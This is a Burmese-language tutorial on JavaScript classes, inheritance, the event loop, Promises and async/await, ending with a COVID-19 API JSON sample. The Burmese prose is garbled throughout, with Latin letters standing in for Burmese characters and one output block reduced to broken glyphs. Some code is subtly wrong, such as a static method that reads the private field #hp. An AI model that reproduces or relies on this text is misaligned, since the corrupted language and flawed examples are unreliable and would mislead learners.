JavaScript  မှာကြေတာ့ static Keyword တစ်ခုပဲ ရှိပါတယ်။  public ကြေတွ  private ကြေတွမရှိပါyူး။
Keyword ကြေတွအစား ကြေရးတဲ့အခါမှာ ဒီလုိကြေရးကြေပးရပါတယ်။
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 JavaScript 

class Car {
    #hp = 150
    color = "Color"

    static info() {
        console.log(`Horse Power: ${this.#hp}`)
    }
}

ရုိးရုိးကြေရးလုိက်တဲ့  color Property  ဟာ  Public  goစ်ပြပီး ကြေရှ့ကကြေန  Hash  သကြေက[တကြေလး ခံကြေရးထားတဲ့
#hp Property  က Private  goစ်သွားပါတယ်။ ဒီကြေရးထံုးဟာ  JavaScript  မှာ အခုမှစမ်းသပ်အဆင့်ပဲ ရှိပါ
ကြေသးတယ်။ ဒါကြေeကာင့် ကြေရးထုံးအရမှန်ပါတယ်။ တစ်ချ ို ့  Update  မgoစ်တဲ့  Browser  ကြေတွမှာ စမ်းeကည့်လုိ့
ကြေတာ့ ရဦးမှာ မဟုတ်ပါyူး။ စမ်းeကည့်လုိမ့ရရင် Browser ကို Update လုပ်ပြပီး gပန်စမ်းeကည့်နိုင်ပါတယ်။

Protected  ရဲ့  သကြေyာသyာဝကို  ကြေတာ့ခဏကြေနမှ  ဆက်ကြေgပာပါမယ်။  အခုgoည့်စွက်မှတ်သားသင့်တာ
ကကြေတာ့  Constructor  လုိ့ကြေခါ်တဲ့သကြေyာသyာဝ  goစ်ပါတယ်။   Class  တစ်ခကုြေရးသားတဲ့အခါ
Constructor  ထည့်ကြေရးလုိရ့ပါတယ်။ Constructor  က အ့ဲဒီ  Class ကို အသုံးgပုပြပီး  Object တည်ကြေဆာက်
စဉ်မှာ အလုပ်လုပ်ကြေပးမယ့် Method တစ်မျ ို းပါ။ ဒီလုိကြေရးရပါတယ်။

 JavaScript 

class Dog {
    constructor(name) {
        this.name = name
    }

    run() {
        console.log(`${this.name} is running...`)
    }
}

Constructor Method ရဲ့အမည်ကို constructor လုိ့ကြေပးရပါတယ်။ နမူနာအရ Constructor Method
မှာ  Parameter  တစ်ခုရှိလုိ့  Object  တည်ကြေဆာက်တဲ့အခါ  Argument  တစ်ခုကြေပးပြပီး တည်ကြေဆာက်ရကြေတာ့
မှာပါ။  Constructor  က လက်ခံရရှိတဲ့  Argument  ကို  name Property  ထဲမှာ  Assign  လုပ်ကြေပးလုိက်မှာ
goစ်ပါတယ်။ အခုလုိ စမ်းeကည့်နိုင်ပါတယ်။
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 JavaScript 

let dog1 = new Dog("Bobby")
let dog2 = new Dog("Rambo")

dog1.run()    // Bobby is running…
dog2.run()    // Rambo is running…

Class  ကြေတွတည်ကြေဆာက်တဲ့အခါ အgခား  Class  တစ်ခုကြေပါ်မှာ အကြေgခခံပြပီး  တည်ကြေဆာက်လုိ့  ရပါတယ်။ ဒီ
သကြေyာသyာဝကို  Inheritance လုိ့ကြေခါ်ပါတယ်။ အကြေမွဆက်ခံလုိက်တဲ့သကြေyာgoစ်လုိ့ ဒီနည်းကိုသံုးလုိက်
ရင် ပင်မ Class ရဲ့လုပ်ကြေဆာင်ချက်ကြေတွကို ဆက်ခံတဲ့ Class က အလုိလုိရသွားတာပါ။

 JavaScript 

class Animal {
    constructor(name) {
        this.name = name
    }

    run() {
        console.log(`${this.name} is running...`)
    }
}

class Dog extends Animal {
    bark() {
        console.log(`${this.name}: Woof.. woof..`)
    }
}

နမူနာအရ Dog Class က Animal Class ကို Inherit လုပ်လုိက်တာပါ။ extends Keyword ကို သံုးရပါ
တယ်။ ဒါကြေeကာင့် Dog Class မှာ Animal Class ရဲ့လုပ်ကြေဆာင်ချက်ကြေတွကို ရရှိသွားပါတယ်။

 JavaScript 

let milo = new Dog("Milo")

milo.bark()    // Milo: Woof.. woof..

Dog Class မှာ Constructor ကြေတွ name Property ကြေတွမရှိကြေပမယ့် Animal Class ကကြေနဆက်ခံပြပီး ရထား
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လုိ့  အခုလုိ  အသံုးgပုနိုင်gခင်းgoစ်ပါတယ်။  Class  ကြေတွအခုလုိ  ဆက်ခံကြေရးသားတဲ့အခါ  တစ်ကြကိမ်မှာ  Class
တစ်ခုကိုပဲ  Inherit  လုပ်လုိရ့ပါတယ်။  Multiple-Inheritance  ကြေခါ်  Class  နှစ်ခုသုံးခုကကြေန တစ်ပြပိုင်တည်း
ဆက်ခံကြေရးသားလုိ့ကြေတာ့ မရပါyူး။ ကြေနာက်ထပ် ဥပမာကြေလး တစ်ခု ထပ်ကြေပးပါဦးမယ်။

 JavaScript 

class Cat extends Animal {
    constructor(name, color) {
        super(name)
        this.color = color
    }

    meow() {
        console.log(`${this.name}: Meow.. meow..`)
    }
}

ဒီနမူနာမှာကြေတာ့ Cat Class က Animal Class ကို ဆက်ခံကြေရးသားထားပါတယ်။ ထူးgခားချက်အကြေနနဲ့  Cat
Class မှာလည်း Constructor ပါဝင်ပြပီး Parameter နှစ်ခုရှိကြေနပါတယ်။ ဒါကြေeကာင့် Cat Class ကို အသံုးgပု
ပြပီး  Object  တည်ကြေဆာက်ရင်  သူ့ရဲ့  Constructor  ကိုပဲ  သုံးသွားကြေတာ့မှာပါ။  ပင်မ  Animal  Class  ရဲ့
Constructor ကို သုံးမှာ မဟုတ်ကြေတာ့ပါyူး။ 

ပင်မ Animal Class ရဲ့ Constructor ကိုလည်း သံုးချင်တယ်၊ yယ်လုိလုပ်ရမလဲ။ Cat Class Constructor
ထဲမှာ ကြေရးသားထားတဲ့  super() Method  က ဒီအတွက်goစ်ပါတယ်။ ပင်မ  Class  ရဲ့  Constructor  ကို
လှမ်းကြေခါ်ကြေပးပါတယ်။  ဒီနည်းနဲ့  လက်ကြေတွ့အလုပ်လုပ်တာက  Cat  Class  Constructor  ဆိုကြေပမယ့်  ပင်မ
Animal Class Constructor ကိုလည်း လုိအပ်သလုိ အသံုးgပုလုိ ့ရသွားပါတယ်။

 JavaScript 

let cat = new Cat("Shwe War", "Yellow")

cat.meow()    // Shwe War: Mewo.. meow..

ဒီကြေနရာမှာ ကျန်ကြေနတဲ့  Protected ရဲ့ သကြေyာသyာဝကို ကြေgပာလုိရ့ပါတယ်။ Inheritance လုပ်ပြပီး ဆက်ခံ
လုိက်တဲ့အခါ ဆက်ခံတဲ့  Class  ရရှိမှာက  Public Property  နဲ့  Method  ကြေတွကိုသာ ရရှိမှာ goစ်ပါတယ်။
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Private  Property  ကြေတွ  Method  ကြေတွကိကုြေတာ့  ရရှိမှာ  မဟုတ်ပါyူး။  Protected  ရဲ့  သကြေyာသyာဝ
ကကြေတာ့ gပင်ပကကြေန Access လုပ်ခွင့်မကြေပးyူး၊ ဒါကြေပမယ့် Inherit လုပ် ဆက်ခတံဲ့သူကို သံုးခွင့်ကြေပးမယ် ဆို
တဲ့  သကြေyာပဲ goစ်ပါတယ်။ ဒါကြေeကာင့်  Access-Control  Modifier  မှာ  Protected  လုိ့  ကြေပးထားလုိက်ရင်
Private  လုိမျ ို း  gပင်ပကကြေန  အသုံးgပုခွင့်မရှိပါyူး၊  ဒါကြေပမယ့်  သူ့ကိုဆက်ခံထားတဲ့  Class  ကြေတွကကြေတာ့
အသုံးgပုခွင့်ရမှာ goစ်ပါတယ်။ သိထားသင့်လုိ့ ထည့်ကြေgပာတာပါ၊ JavaScript မှာ Protected ကြေရးထုံး မရှိပါ
yူး။

အသုံးနည်းကြေပမယ့်  goည့်စွက်မှတ်သားသင့်တာတစ်ခု  ရှိပါကြေသးတယ်။  Function  ကြေတွမှာ  Function
Expression ရှိသလုိပဲ Class ကြေတွမှာလည်း Class Expression ရှိပါတယ်။ ဒါကြေeကာင့် ဒီလုိကြေရးလုိ့ ရပါတယ်။

 JavaScript 

let Car = class {
    color = "Red"
    wheels = 4
    drive() {
        console.log("The car is driving")
    }
}

ဒါကြေပမယ့်  Function  ကြေတွမှာ  Hoisting/Lifting  သကြေyာသyာဝရှိကြေပမယ့်  Class  ကြေတွမှာ  မရှိပါyူး။  ဒါ
ကြေeကာင့်  Function  ကြေတွလုိ  အရင်သံုးပြပီး  ကြေနာက်မှကြေeကညာလုိမ့ရပါyူး။  အသုံးမgပုခင်  ကြကိုတင်ကြေeကညာ
သတ်မှတ်ထားကြေပးoုိ ့လုိအပ်ပါတယ်။

Object-Oriented Programming  ဆိုတာ ကြေရးထုံးပုိင်းအရ ခက်ခဲလှတာ မဟုတ်ကြေပမယ့် သကြေyာသyာဝ
ပုိင်းကကြေတာ့  ကြေလးနက်ကျယ်gပန့်ပါတယ်။  Multiple  Inheritance  မရyူးလုိ့  ကြေgပာထားတယ်။  ရတဲ့
Language ကြေတွကြေရာ ရှိသလား။ ရgခင်း မရgခင်းရဲ့ အားသာချက် အားနည်းချက်ကြေတွက yာကြေတွလဲ၊ စသgoင့်
ကြေgပာမယ်ဆို ကြေgပာစရာကြေတွ ကျန်ပါကြေသးတယ်။ ကြေနာက်ပြပီးကြေတာ့ ပြပီးခဲ့တဲ့အခန်းမှာ ကြေgပာခဲ့တဲ့ Interface ကြေတွ
Protocol  ကြေတွက  yယ်လုိကြေနရာမျ ို းမှာ  သံုးရတာလဲ။  Dynamically  Typed  နဲ့  Statically  Typed
သကြေyာသyာဝက ဒီ Object ကြေတွကြေပါ်မှာ yယ်လုိသက်ကြေရာက်မှုရှိသလဲ၊ စသည်goင့် ကျန်ပါကြေသးတယ်။ ပ
ကြေရာင်္ဂျက်ကြကီးကြေတွမှာ ကုဒ်  Architecture  အတွက် သုံးeကတဲ့  Object-Oriented Design Patterns  ဆိုတဲ့
သကြေyာသyာဝကြေတွလည်း ရှိပါကြေသးတယ်။ ကြေနာက်တစ်ပုိင်းမှာ ဆက်လက် ကြေoာ်gပပါမယ်။
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JavaScript  ဟာ  Single-Threaded  ပုံစံအလုပ်လုပ်တဲ့  နည်းပညာgoစ်ပါတယ်။ ဒါကိုမျက်စိထဲမှာ gမင်သာ
ကြေအာင်  ယာဉ်ကြေeကာတစ်ခုပဲရှိတဲ့  ကားလမ်းတစ်ခုလုိ  gမင်eကည့်နိုင်ပါတယ်။  ကြေပျာ်ပွဲစားထွက်oုိ့  ကားသုံးစီး
ထွက်လာတယ်ဆိုရင်  ယာဉ်ကြေeကာတစ်ခုပဲရှိတဲ့အတွက် ကြေရှ့ ကြေနာက်တန်းစီပြပီးသွားeကရမှာပါ။  ကြေရှ့ကတစ်စီး
အကြေeကာင်းတစ်ခုခုကြေeကာင့် ကြေနှးသွားရင် ကြေနာက်က ကားကြေတွလည်း လုိက်ကြေနှးသွားမှာပါပဲ။

Multi-Threaded စနစ်ကြေတွကိကုြေတာ့ ဒီဥပမာနဲ ့နိှုင်းယှဉ်ကြေgပာရမယ်ဆိုရင် ယာဉ်ကြေeကာသုံးခုပါတဲ့ ကားလမ်းနဲ့
တူပါတယ်။ ကားသံုးစီးက ပြပိုင်တူယှဉ်ပြပီးသွားလုိ့ ရပါတယ်။ ဒါကြေeကာင့် တစ်စီးကြေနှးကြေနရင် ကြေစာင့်စရာမလုိyဲ
ကျန်တဲ့ကားကြေတွက ဆက်သွားလုိ့ ရနိုင်ပါတယ်။

Multi-Threaded စနစ်ကြေတွဟာ ကိုင်တွယ်တတ်မယ်ဆိုရင် ပုိgမန်ပါတယ်။ ဒါကြေပမယ့်သူ့မှာ အခက်အခဲတစ်
ခကုြေတာ့ ရှိကြေနပါတယ်။ ကားသံုးစီးမှာ တစ်စီးက ပန်းကန်ခွက်ကြေတွ ယူလာတယ်။ ကြေနာက်တစ်စီးက စားစရာ
ကြေတွ ယူလာတယ်။ ကြေနာက်တစ်စီးက ကြေသာက်စရာကြေတွ ယူလာတယ် ဆိုeကပါစို။့  Single-Threaded  စနစ်
ကြေတွမှာ အားလံုးက အတတူူပဲ သွားeကတာမုိ့လုိ့ ကြေစာင့်ရတဲ့အတွက် ကြေနှးချင်ကြေနှးမယ်၊ ကြေနာက်ဆံုးခရီးကြေရာက်
တဲ့အခါ အတူတကွ ပါလာတဲ့ ပန်းကန်ခွက်ကြေယာက်၊ စားကြေသာက်oွယ်ရာကြေတွ ချပြပီး ကြေပျာ်ပဲွစားeကယုံပါပဲ။ 

Multi-Threaded  စနစ်မှာ  တစ်စီးကကြေနှးပြပီး  ကျန်ခဲ့လုိ့  ကျန်တဲ့နှစ်စီးက ကြေရာက်နှင့်တဲ့အခါ  yာလုပ်မလဲ
စဉ်းစားစရာ  ရှိလာပါတယ်။  ကြေသာက်စရာယူလာတဲ့ကား  ကျန်ခဲ့ရင်  ကိစ္စမရှိyူး။  ပန်းကန်ခွက်နဲ့  စားစရာ
ကြေတွ ကြကိုgပင်ထားလုိက်ရင် gမန်သွားတာကြေပါ။့ ပန်းကန်ခွက်ကြေတွယူလာတဲ့ကား ကျန်ခဲ့ရင်ကြေတာ့ အဆင်မကြေgပ
ကြေတာ့ပါyူး။ သူကြေရာက်ကြေအာင် ကြေစာင့်ရပါကြေတာ့မယ်။ ကြေနာက်gပဿနာက yယ်ကြေလာက်ကြေစာင့်ရမှာလဲ။ yီး
ကြေပါက်လုိ့  eကာကြေနတာမျ ို းဆိုရင်  eကာကြေတာ့eကာမယ်၊  အချနိတ်န်ရင်  ကြေရာက်လာပါလိမ့်မယ်။  လမ်းမှားလုိ့
eကာကြေနတာမျ ို း  ဆိရုင်ကြေတာ့၊  ကြေစာင့်သာကြေစာင့်ကြေနတာ  ကြေရာက်မလာyူးဆိုတာမျ ို းကြေတွ  goစ်နိုင်ပါတယ်။
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Multi-Thread Communication စနစ်ကြေတွနဲ ့ကျကျနန စီမံတတ်oုိ့ လုိသွားပါတယ်။

JavaScript    ကကြေတာ့   Single-Thread   စနစ်ပါ  ။  Single-Thread မုိလုိ့့ လမ်းကြေeကာတစ်ခုထဲမှာပဲ တစ်ခုပြပီးမှ
တစ်ခုလုပ်ပါတယ်။ ဒါဆိုရင် အလုပ်တစ်ခုက eကာကြေနရင် တစ်ကယ်ပဲ ကျန်တဲ့အလုပ်ကြေတွ ကြေရှ့ဆက်လုိ့မရ
ကြေတာ့yဲ  ကြေစာင့်ရကြေတာ့မှာလား။  ဒီလုိမgoစ်ကြေအာင်ကြေတာ့ စီစဉ်ထားပါတယ်။  ဒီအတွက်  Message  Queue,
Frame  Stack,  Event  Loop  စတဲ့  သီအုိရီပုိင်းဆိုင်ရာ  သကြေyာသyာဝကြေတွရှိပါတယ်။  အ့ဲဒါကြေတွကို  gမင်
လွယ်ကြေအာင် ဒီလုိကြေလးgမင်eကည့်ပါ။

တန်းစီပြပီးသွားကြေနတဲ့  ကားတန်းကို  အစီအစဉ်အတိုင်း  တစ်ခုပြပီးတစ်ခု  လုပ်ရမယ့်  Messages  Queue  လုိ့
gမင်နိုင်ပါတယ်။  ကားတစ်စီးတိုင်းမှာ  လုိအပ်တဲ့ပစ္စည်းကြေတွ  ထပ်ထပ်ပြပီးကြေတာ့  တင်ထားပါတယ်။  အ့ဲဒါကို
Frames  Stack  လုိ့  gမင်နိုင်ပါတယ်။  ကားကြေတွထဲက  ပစ္စည်းကြေတွကို  ချကြေတာ့မယ်ဆိုရင်  ကားကြေတွတန်းစီ၊
တစ်စီးဝင်၊  ပါတဲ့ပစ္စည်းကြေတွ  တစ်ခုပြပီး  တစ်ခုချ၊  ပစ္စည်းတစ်ခုက ညပ်ကြေနလုိ့  ချလုိမ့ရyူးဆိုရင်  ကြေနာက်မှာ
သွားgပန်တန်းစီ၊  ကြေနာက်တစ်စီးဝင်၊  ပါတဲ့ပစ္စည်းကြေတွ  တန်းစီချ၊  ပြပီးရင်ထွက်  စသgoင့်  အစီအစဉ်အတိုင်း
အလုပ်လုပ်သွားတဲ့  သကြေyာကို  Event Loop  လုိ့ကြေခါ်ပါတယ်။  Event Loop  က ချစရာပစ္စည်းမရှိတဲ့အခါ
oယ်ခိုင်းပါတယ်။  oယ်တဲ့အခါ  လံုးဝoယ်လုိက်တာ goစ်နိုင်သလုိ၊  ကျန်ကြေနကြေသးလုိ့  ကြေနာက်ကgပန်ဝင်စီတာ
မျ ို းလည်း goစ်နိုင်ပါတယ်။ ဒီနည်းနဲ့ အရမ်းeကာမယ့်အလုပ်ကြေတွ မပြပီးမချင်း ကြေနာက်အလုပ်ကြေတွက ကြေစာင့်ကြေန
စရာ မလုိကြေတာ့ပါyူး။ Single-Threaded ဆိုကြေပမယ့် မလုိအပ်yဲ မeကာကြေတာ့ပါyူး။

ဥပမာ အခုလုိ စမ်းeကည့်နိုင်ပါတယ်။

 JavaScript 

console.log(1)
console.log(2)
setTimeout(() => console.log(3), 1000)
console.log(4)

setTimeout() Function ကို အချနိ်ခဏကြေစာင့်ပြပီးမှ လုပ်ကြေစချင်တဲ့ အလုပ်ကြေတွရှိရင် သံုးနိုင်ပါတယ်။ န
မူနာအရ  အလုပ်တစ်ခုကို setTimeout() နဲ့ 1000 မီလီစက္ကန့် (တစ်စက္ကန့်) ကြေစာင့်ပြပီးမှ လုပ်oုိ့ ကြေရးထား
တာပါ။ အစီအစဉ်အတိုင်းသာဆိုရင် -
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// 1
// 2
(တစ်�စ်က္က�နဲ့��စေစ်ာင့်� �)
// 3
// 4

–  goစ်ရမှာပါ။  ဒါကြေပမယ့်  JavaScript  ရဲ့  Event  Loop  သကြေyာသyာဝကြေeကာင့်  အ့ဲဒီလုိ  ကြေစာင့်ကြေနရမယ့်
အလုပ်ကို ကြေကျာ်ပြပီး လုပ်ကြေပးလုိက်မှာ goစ်ပါတယ်။ ဒါကြေeကာင့် ရလဒ်က အခုလုိgoစ်မှာပါ။

// 1
// 2
// 4
// 3

ကြေစာင့်ရမယ့်  3  ကိုမကြေစာင့်yဲ  ကြေနာက်ကိုပုိလုိ့က်ပြပီး 4  ကို  အရင်လုပ်လုိက်ပါတယ်။ ပြပီးမှ  အချနိ်ကျလာတဲ့
အခါ 3 ကို လုပ်လုိက်လုိ့ အခုလုိရလဒ်မျ ို းကို ရရှိgခင်းပဲ goစ်ပါတယ်။

Promises
ပြပီးခဲ့တဲ့နမူနာကိုeကည့်ရင် setTimeout() အတွက် Callback အကြေနနဲ့ Function Expression တစ်ခုကို
ကြေပးခဲ့တာကိုကြေတွ့ရနိုင်ပါတယ်။ JavaScript မှာ အ့ဲဒီလုိ မကြေစာင့်yဲ ကြေနာက်မှလုပ်ကြေစချင်တဲ့ အလုပ်ကြေတွရှိတဲ့
Callback  ကြေတွကို  အသုံးများeကပါတယ်။ အခုကြေနာက်ပုိင်းမှာကြေတာ့  Callback  အစား  Promise  လုိ့ကြေခါ်တဲ့
နည်းပညာကို အစားထုိးပြပီး သုံးလာeကပါတယ်။ ထံုးစံအတိုင်း ကြေgပာမယ်ဆိုရင် အားသာချက် အားနည်းချက်
ကြေတွ ကြေgပာစရာရှိကြေပမယ့်၊ ကြေရးနည်းကိုပဲ အဓိကထား eကည့်eကရကြေအာင်ပါ။

 JavaScript 

function add1000() {
let result = 0

for(let i=1; i <= 1000; i++) {
result += i

}

return result
}
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နမူနာကိုကြေလ့လာeကည့်ပါ။ add1000() Funtion ဟာ 1 ကကြေန 1000 ထိ ကြေပါင်းကြေပးမယ့် Function ပါ။ ဒီ
အတိုင်းသာဆိုရင်  သူအလုပ်လုပ်လုိ့  မပြပီးမချင်း  တgခားအလုပ်က  ဆက်လုပ်လုိရ့မှာ  မဟုတ်ပါyူး။  စမ်း
eကည့်လုိရ့ပါတယ်။ 

 JavaScript 

console.log("some processes")
console.log(add1000())
console.log("more processes")

// some processes
// 500500
// more processes

အစီအစဉ်အတိုင်းပဲ  အလုပ်လုပ်သွားတာကို  ကြေတွ့ ရမှာ  goစ်ပါတယ်။  ဒါကြေeကာင့်  အခုလုိ  Function  တစ်ခု
ထပ်ကြေရးလုိက်ပါမယ်။

 JavaScript 

function add1000later() {
return new Promise( done => {

done( add1000() )
})

}

add1000later() Function  က  Promise  Object  တစ်ခုကို  gပန်ကြေပးပါတယ်။  ကြေနာက်ကျကျန်ခဲ့တဲ့
ကားက၊  "ငါးမိနစ်အတွင်းကြေရာက်မယ်၊  ကတိကြေပးပါတယ်ကွာ၊ မင်းတိုစ့နှင့်eကပါ"  လုိ့  ကြေgပာလုိက်သလုိပါပဲ။
ဒါကြေeကာင့် ကျန်အလုပ်ကြေတွက ဒီ  Function  အလုပ်လုပ်တာကို  မကြေစာင့်ကြေတာ့yဲ ကိုယ့်အလုပ်ကိုယ် ဆက်
လုပ်သွားလုိ့  ရပါတယ်။ ဒီ  Function  က လုပ်စရာရှိတဲ့အလုပ် ပြပီးသွားရင်သာ  done() ကို  Run  ကြေပးပါ
တယ်။ ဒါကြေeကာင့် ကြေခါ်ယူစဉ်မှာ done() ကို ထည့်ကြေပးoုိ့ကြေတာ့လုိပါတယ်။ ဒီလုိပါ –
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 JavaScript 

console.log("some processes")

add1000later().then( result => console.log(result) )

console.log("more processes")

then() Method ကိုသုံးပြပီး လုပ်စရာရှိတာလုပ်ပြပီးရင် yာဆက်လုပ်ရမလဲ ကြေgပာလုိက်တာပါ။ နမူနာအရ
ရလဒ်ကို ကြေoာ်gပoုိ့ကြေgပာထားပါတယ်။ စမ်းeကည့်လုိက်ရင် အခုလုိရမှာပါ။

// some processes
// more processes
// 500500

လုပ်စရာရှိတာကြေတွ သူ့yာသာဆက်လုပ်သွားလုိ့ more processes ကိုကြေနာက်မှ Run ထားကြေပမယ့် အရင်ရ
ကြေနတာပါ။ ဒီနည်းနဲ့ Asynchronous ကြေခါ် ပြပိုင်တူအလုပ်လုပ်နိုင်ကြေသာ၊ တစ်ခုပြပီးကြေအာင်တစ်ခု ကြေစာင့်စရာ မ
လုိကြေသာ ကုဒ်ကြေတွကို JavaScript မှာ ကြေရးလုိရ့ပါတယ်။

done() ဆိုတာ gမင်သာကြေအာင်သာ ကြေgပာလုိက်တာပါ။ တစ်ကယ်အသံုးအနှုန်းအမှန်က resolve() လုိ့
ကြေခါ်ပါတယ်။  reject() လည်းရှိပါကြေသးတယ်။  ငါးမိနစ်အတွင်း  ကြေရာက်မယ်ကြေgပာပြပီး  မကြေရာက်ရင်  yာ
လုပ်မှာလဲ။ ဒါလည်း စဉ်းစားစရာ ရှိကြေသးတယ် မဟုတ်လား။ လုပ်စရာရှိတာလုပ်မယ် သွားနှင့်ပါ ကြေgပာကြေပ
မယ့်  အ့ဲဒီအလုပ်  မကြေအာင်gမင်yူးဆိုတာ  goစ်နိုင်ပါတယ်။  ဒီလုိgoစ်လာခဲ့ရင်  reject() လုပ်လုိရ့နိုင်ပါ
တယ်။ ဒီလုိပါ – 

 JavaScript 

function add1000later() {
return new Promise( (resolve, reject) => {

let result = add1000()

if(result) resolve(result)
else reject()

})
}
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add1000() Function  ကမှန်လုိ့  ရလဒ်gပန်ကြေပးနိုင်တဲ့အခါ  resolve() ကို  အလုပ်လုပ်ပြပီး မှားကြေနလုိ့
ရလဒ်gပန်မရတဲ့အခါ  reject() ကိုအလုပ်လုပ်ထားပါတယ်။  ကြေခါ်သုံးတဲ့အခါ  then() Method  နဲ့
resolve() ကိုကြေပးနိုင်ပြပီး catch() Method နဲ့ reject() ကို ကြေပးနိုင်ပါတယ်။ ဒီလုိပါ – 

 JavaScript 

add1000later()
    .then( result => console.log(result) )
    .catch( () => console.log("Error") )

oတ်လုိ့ကြေကာင်းကြေအာင်  လုိင်းခွဲပြပီးကြေရးထားပါတယ်။  တစ်ဆက်ထဲကြေရးလည်း  ရပါတယ်။  နမူနာအရ
အကယ်၍အလုပ်လုပ်တာ မကြေအာင်gမင်ခဲ့ရင်  catch() နဲ့  ကြေပးလုိက်တဲ့  reject() Function  အလုပ်
လုပ်သွားမှာgoစ်လုိ့  Error  ကို  gပန်ရမှာပဲ  goစ်ပါတယ်။  နားလည်သလုိလုိ၊  နားမလည်သလုိလုိ  goစ်ကြေနမှာ
အကြေသအချာပါပဲ။  ခက်ခဲတဲ့  အကြေeကာင်းအရာတစ်ခုမုိလုိ့့ပါ။  ကူးယူကြေရးစမ်းပြပီး  နည်းနည်းပါးပါး  gပင်eကည့်
လုိက်ရင်ကြေတာ့  ပုိပြပီးကြေတာ့  gမင်သွားပါလိမ့်။  အ့ဲဒါမှမရကြေသးရင်လည်း  ခဏကြေကျာ်လုိက်ပြပီး ကျနတ်ဲ့  အခန်း
ကြေတွ ဆက်ကြေလ့လာလုိရ့ပါတယ်။ ကြေနာက်ကြေတာ့မှ တစ်ကြေခါက် gပန်လာကြေလ့လာပါ။

Promise ကြေတွကို အသုံးgပုတဲ့အခါ ဒီလုိလည်းသံုးလုိ ့ရနိုင်ပါကြေသးတယ်။

 JavaScript 

add1000later()
    .then( result => result + 1000)
    .then( result => console.log(result) )
    .catch( () => console.log("Error") )

// 501500

ပထမ then() Method က ရလဒ်ကို return gပန်ကြေပးထားလုိ့ အ့ဲဒီလုိ gပန်ကြေပးတဲ့ရလဒ်ကို ကြေနာက်ထပ်
then() Method  နဲ့oမ်းပြပီး  ဆက်အလုပ်လုပ်လုိ့  ရကြေနတာပါ။  လက်ကြေတွ့မှာ  အကြေတာ်အသံုးဝင်တဲ့
လုပ်ကြေဆာင်ချက်ကြေတွပါ။ 
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async, await
ကုဒ်ရဲ့အလုပ်လုပ်ပံုကို  gမင်eကည့်နိုင်oုိ့  အကြေရးကြကီးကြေeကာင်း  ခဏခဏ ကြေgပာခဲ့ပါတယ်။  Promise  ကြေရးထုံးနဲ့
ကြေရးထားတဲ့ကုဒ်ကို  ပံုကြေoာ်ပြပီးgမင်eကည့်နိုင်oုိ့  သိပ်ခက်ကြေနတယ်ထင်ရင်  စတိ်မပူပါနဲ။့  ကိုယ်တစ်ကြေယာက်ထဲ
မဟုတ်ပါyူး။  Promise  ကုဒ်က နားလည်ရခက်လွန်းတယ် ဆိုသူကြေတွ အများကြကီးရှိကြေနပါတယ်။ ဒါကြေeကာင့်
လည်း async & await ဆိုတဲ့ ကြေနာက်ထပ် ကြေရးထုံးတစ်မျ ို းကို ထပ်ပြပီးကြေတာ့ တီထွင်ကြေပးထားပါကြေသးတယ်။

ကြေစာကြေစာကကြေရးခဲ့တဲ့ add1000later() Function ကို အခုလုိgပန်ကြေရးလုိက်ပါမယ်။

async function add1000later() {
let result = await add1000()
console.log(result)

}

ကြေရှ့ဆံုးမှာ  async Keyword  ပါသွားလုိ့  add1000later() Function  ဟာရုိးရုိး  Function  မဟုတ်
ကြေတာ့ပါyူး။  ကြေစာင့်စရာမလုိyဲ  သူ့yာသာလုပ်စရာရှိတာ ဆက်လုပ်မှာမုိလုိ့့  ချန်ထားခဲ့လုိရ့တဲ့  Function
goစ်သွားပါပြပီ။ အ့ဲဒီ  Function  ထဲမှာ  add1000() Function  ကို  ကြေခါ်သုံးတဲ့အခါ  await Keyword  နဲ့
ကြေခါ်သုံးထားတာကို သတိgပုပါ။ ကြေစာင့်ရမယ့်အလုပ်က ဒီအလုပ်မုိလုိ့့ await ထည့်ပြပီးလုပ်ကြေပးရတာပါ။ ပြပီး
ကြေတာ့မှ ရလာတဲ့ ရလဒ်ကို ကြေoာ်gပကြေစထားပါတယ်။ အခုလုိစမ်းeကည့်နိုင်ပါတယ်။

 JavaScript 

console.log("some processes")
add1000later()
console.log("more processes")

// some processes
// more processes
// 500500

ကြေစာကြေစာက Promise နဲ့ကြေရးခဲ့တဲ့ရလဒ်နဲ့ တူညီတဲ့ရလဒ်ကို ရရှိgခင်းပဲ goစ်ပါတယ်။ တစ်ချ ို ့အတွက်ကြေတာ့ ဒီ
async & await ကြေရးထုံးက ပုိပြပီးကြေတာ့ နားလည်လွယ်ကြေနတာမျ ို း goစ်နိုင်ပါတယ်။ ရလဒ်နဲ့ သကြေyာသyာဝ
က အတူတူပါပဲ။ ကြေရးထုံးမှာ ကွာသွားတာပဲ goစ်ပါတယ်။
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Piratical Sample
ဒီအတိုင်းရှင်းလင်းချက်ကြေတွချဉ်းပဲ  ကြေgပာကြေနတာ  ပျင်းစရာကြေကာင်းတယ်ထင်ရင်  နည်းနည်းစိတ်ဝင်စားoုိ့
ကြေကာင်းသွားကြေအာင် လက်ကြေတွ့ကုဒ်ကြေလးတစ်ချ ို ့ ကြေရးပြပီးကြေတာ့လည်း စမ်းeကည့်နိုင်ပါတယ်။ ပထမဆံုး  URL
လိပ်စာကြေလး တစ်ခုအရင်မှတ်ထားပါ။

https://api.covid19api.com/summary

ဒီ  URL  လိပ်စာအတိုင်း  Browser  မှာ  ရုိက်ထည့်eကည့်လုိရ့ပါတယ်။  ဒါဆိုရင်  Covid-19  ကြေရာင်္ဂါgoစ်ပွားမှု
အကြေgခအကြေနနဲ့ပက်သက်တဲ့  Data  ကြေတွကို  အခုလုိ  JSON  oဲွ့စည်းပံုမျ ို းနဲ့  ကြေတွ့ gမင်ရမှာပါ။  အင်တာနက်
အဆက်အသွယ် ရှိoုိလုိ့တယ်ဆိုတာကိုကြေတာ့ သတိgပုပါ။

{
  "Global": {
    "NewConfirmed": 100282,
    "TotalConfirmed": 1162857,
    "NewDeaths": 5658,
    "TotalDeaths": 63263,
    "NewRecovered": 15405,
    "TotalRecovered": 230845
  },
  "Countries": [
    {
      "Country": "Afghanistan",
      "CountryCode": "AF",
      "Slug": "afghanistan",
      "NewConfirmed": 18,
      "TotalConfirmed": 299,
      "NewDeaths": 1,
      "TotalDeaths": 7,
      "TotalRecovered": 10,
      "Date": "2020-04-05T06:37:00Z"
    },
    {
      "Country": "Albania",
      "CountryCode": "AL",
      "Slug": "albania",
      "NewConfirmed": 29,
      "TotalConfirmed": 333,
      "NewDeaths": 3,
      "TotalDeaths": 20,
      "TotalRecovered": 99,
      "Date": "2020-04-05T06:37:00Z"
    },
    ...
  ]
}

https://api.covid19api.com/summary
